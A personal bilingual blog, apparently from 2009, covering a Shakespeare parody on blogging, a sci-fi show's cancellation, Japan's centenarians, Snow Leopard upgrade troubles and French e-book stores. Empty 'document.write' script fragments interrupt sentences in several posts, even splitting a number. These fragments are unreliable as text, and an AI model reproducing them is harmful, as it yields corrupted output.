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Bloguer ou ne pas bloguer, là est la question. Il y a-t-il plus de noblesse d’âme à subir l’affront des possible commentaires outrageants ou s’armer contre une mer de silence et écrire dans la solitude? Penser, écrire, rien de plus. Simplement épancher nos maux du coeur et les milles petites tortures que la société nous fait subir. Penser, écrire, être lu peut-être. Oui là est l’embarras, car quelle genre de pensées peut-il nous venir lorsque l’on se tiens à l’écart des autres, dans une quelconque mort sociale? Voilà qui devrait mettre fin au débat. Inutile de risquer un ulcère avec ce genre de réflexions futiles. Pourquoi se donner tant de peine à réfléchir, à coucher sur papier nos élucubrations, les écrire et ré-écrire, paufiner notre style si ce n’est la crainte de l’oubli et de la solitude? Ainsi, l’espoir d’être un jour lu et compris par les autres nous fait supporter toutes les douleurs de la création pour nous confier aux silencieux carnets et, parfois également — se détournant de possible entreprises littéraires d’envergures — pour lâchement bloguer les pâles reflets de nos pensées. (pardonnez-moi cette parodie lyrique shakespearienne)

Defying Common Sense

I really cannot believe that ABC is cancelling “Defying Gravity.” It’s really getting difficult to have good sci-fi on TV these days.
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This was an excellent series (without being a masterpiece) and I enjoy it a lot. Luckily I am Canadian and for once (since it is produced by CTV and not ABC) I’ll be able to continue watching a show after a network cancels it!

I was not impressed by the first episode and was a little reluctant because of all the “Grey Anatomy in space” comments, document.write(“”); but I continued watching as it got better and better.

It has an intriguing mystery and it seems relatively well written and fairly well played. There are some length in the storytelling but I like the flashbacks and I think that all good sci-fi should not be all action & sfx, but should include some relatively believable human relationships.

Japan Centenarian population over 40,000

I just read today on my iPod that the Japanese population over 100 year-old had passed 40, document.write(“”); 000 ! And most of them are women.

I was quite surprised. I was expecting a few thousands but not that much. It has doubled in the last six years and, according to U.N. projections, it will nearly reach the million by 2050. It is true that Japan has a quickly aging population and that their life expectency is greater than the average north american… but that’s a lot of very old people. Japan must really prepare for the coming health-care and retirement crisis that it is likely to face soon. Many developped nation will eventually experience a similar problem (although not as acute as it is the case in Japan). Hopefully, the new Japanese government will find ways to prepare for such a situation….

Snow Leopard

The new Macintosh Operating System, document.write(“”); Mac OS X 10.6 also known as “Snow Leopard,” shipped last week (friday August 28th) but I didn’t receive it until monday (August 31st).
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In preparation for the update,
following some recommendations, I had already made sure last week that my Time Machine backup was up-to-date and that every other devices linked to my Mac (A-TV, iPod) had been properly synced. I had also verified my hard drive, repaired permissions and did a little cleaning (getting rid of a few unused or older apps). Just to make really sure I could easily recover from any problems, I had also purchased an extra 320Gb hard drive that was used to clone the HD of my iMac.

(More after the jump)

I’ve spend all monday night installing Snow Leopard. It really took most of the evening, so I watched TV while it was installing. I then spend a couple of hours checking the computer for changes and problems. I already knew by reading the tech news that some apps would not work and that most of the changes would be invisible, but I couldn’t help to feel disappointed. I am glad that I paid only $35 CND ($29.95 US) for this upgrade and somewhat I don’t regret getting it. The OS was almost entirely rewritten so it is faster and lighter, but the speed increase is not really noticeable. And all the improvements (on the visual appearance, on the performance or the added fonctionnality) are rather small. Overall, it is mostly the same than Leopard, but better. However, there’s no new fonctions that make me exclaim in joy and the new OS generates several problems. It is far from the crisis that I experienced when installing Mac OS 6 and 7, but still those little problems end up being quite an annoyance.

Here’s a quick list of the problems that I experienced:

  • Norton Anti-Virus 11.0.2 is broken.
  • Mail app is behaving strangely.
  • iCal cannot publish Calendars anymore.

For Norton Anti-Virus there is nothing I can do but wait for Symantec to released an updated version that fixes the bug. However, I am amazed that such a big company, who is handling the security for so many people’s computer, would let a problem like this happen. It is true that Snow Leopard was released ealier than expected, but the OS was seeded to developpers several months ago for them to test it and make sure their softwares would still work properly after the update. Clearly, Symantec has failed us. According to their forum, NAV 11.0.3 update should be available around mid-September…

After installing Snow Leopard, one of my mail server was at first not responding, but it worked after a while. Then I noticed that some emails were not appearing where they should in the email’s list of the Mail app. I first thought “well, I have lots of emails—in fact two years worth of emails—so it might be a little heavy fo the app and cause it to be slow and behave strangely.” Therefore I decided to backup and eliminate most of the older emails. First, I archived and zipped all my mailboxes (so I could re-import them later if necessary). Then I also upgraded Mail Steward 7.9.8 to 8.2.5 (at the cost of $20) to archive all my mailboxes in a way that would be searchable. Finally, I deleted all my old emails. I thought it did the trick, but I recently noticed that some emails are still sometime not listed, but they reappear if I refresh the window. I haven’t seen that problem mentioned by anyone else (someone did mention problems with the Mail app but it seems to be a different bug). It is not too much of a problem, but it is annoying and hopefully it will be corrected in a future update.

After installing Snow Leopard, I also noticed that my exported iCal calendar were not working anymore. I was getting a “calendar cannot be found” error message from MobileMe. According to the tech news sites, a bug seems to prevent calendars with all-day events to be properly published. After searching the web, I found a work-around using iCal Exchange to publish the calendar on Google Calendar instead. On the Apple forums, someone suggest that switching iCal from 64-bit to 32-bit mode will temporarily fix the problem. I haven’t tried this fix yet and I am rather waiting for an Apple update.

Finally, some of the applications that I am currently using are still PowerPC apps. For some, I’ve found updated version for Intel Macs, but for a few apps there are no Intel or Universal version. For some there is simply no alternative than continue to use Rosetta (ReadIris Pro 11 for example) and for others I will have to consider purchasing alternative softwares (for example: updating Toast 6 Titanium with Roxio Toast 10 for $80, or replacing Appleworks 6 with Bento 2 for about $50).

Update: On September 9th, in Apple “It’s Only Rock and Roll” event, Steve Job announced iTunes 9, new iPod models and the iPhone / iPod Touch OS 3.1.1. Similarly to Snow Leopard, the free iPod Touch OS update is bringing just a few disappointing improvements and, according to some, a few problems. In my case, the iPod seems to have batteries problem recently. Goes from fully charged to nearly empty so it shuts down and is unable to reboot until it’s recharged. Annoying.

Update: On September 10th, Apple released Mac OS X 10.6.1 but it doesn’t seem to fix any of my problems. Hopefully it will come with the next update.

Update: On September 16th, the Symantec forum announces the release of NAV 11.0.3. I ran LiveUpdate immediately and after a longer than usual download, NAV installs and request a reboot. It now seems to work. They announced another update, 11.1, for late October.

Livres numériques en français

Ces dernières années nous avons vu apparaitre aux États-Unis une abondance de sites internet offrant des livres numériques (les fameux eBooks): Amazon.com, document.write(“”); Barnes & Noble, Borders, Sony et beaucoup d’autres. Protoculture offre déjà depuis plusieurs années ses titres les plus récents en format numérique.
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De telles boutiques virtuelles ont également commencé à faire leur apparition en France (comme
Numilog ou le site de la FNAC par exemple, quoique nos cousins Européens semblent plus portés vers les documents gratuits comme c’est le cas avec Gallica) mais jusqu’à très récemment il n’y avait rien pour le marché francophone nord-américain.

The Gazette nous apprends ce matin que Archambault et Sony se sont associé pour nous offrir une boutique virtuelle de livres numériques: Jelis.ca.

Cela permettra à Sony de vendre son lecteur électronique au Québec (quoiqu’un lecteur n’est pas nécessaire pour lire les titres acheté sur Jelis.ca) et à Archambault d’entamer un marché encore vierge puisque Kindle, le lecteur électronique d’Amazon, n’est pas disponible à l’extérieur des USA.

Il est intéressant de noter que plusieurs titres de l’éditeur de genres Alire sont disponible sur Jelis.ca.

Je ne crois pas que le livre imprimé soit menacé par le livre numérique, qui ne représente qu’un nouveau format de publication comme l’est le livre de poche ou le livre audio. Et l’expension du marché du livre numérique est grandement limitée par les prix des lecteurs électroniques ($260 à $600 dépendant des cas) et celui des livres numériques eux-même. En effet, dans la plupart des boutiques virtuelles de livres numériques, ceux-ci sont vendu au même prix que le livre imprimé, ce qui est ridicule considérant que ce produit n’encourt aucun coût d’impression et des frais de distribution moindre (seulement le pourcentage que prends le détaillant virtuel). Théoriquement, un tel format devrait offrir à l’éditeur un revenu plus grand et, au lecteur, un coût d’achat moindre (d’à peu près 30%). Mais ce n’est pas encore le cas. Toutefois, c’est un format qui a de l’avenir.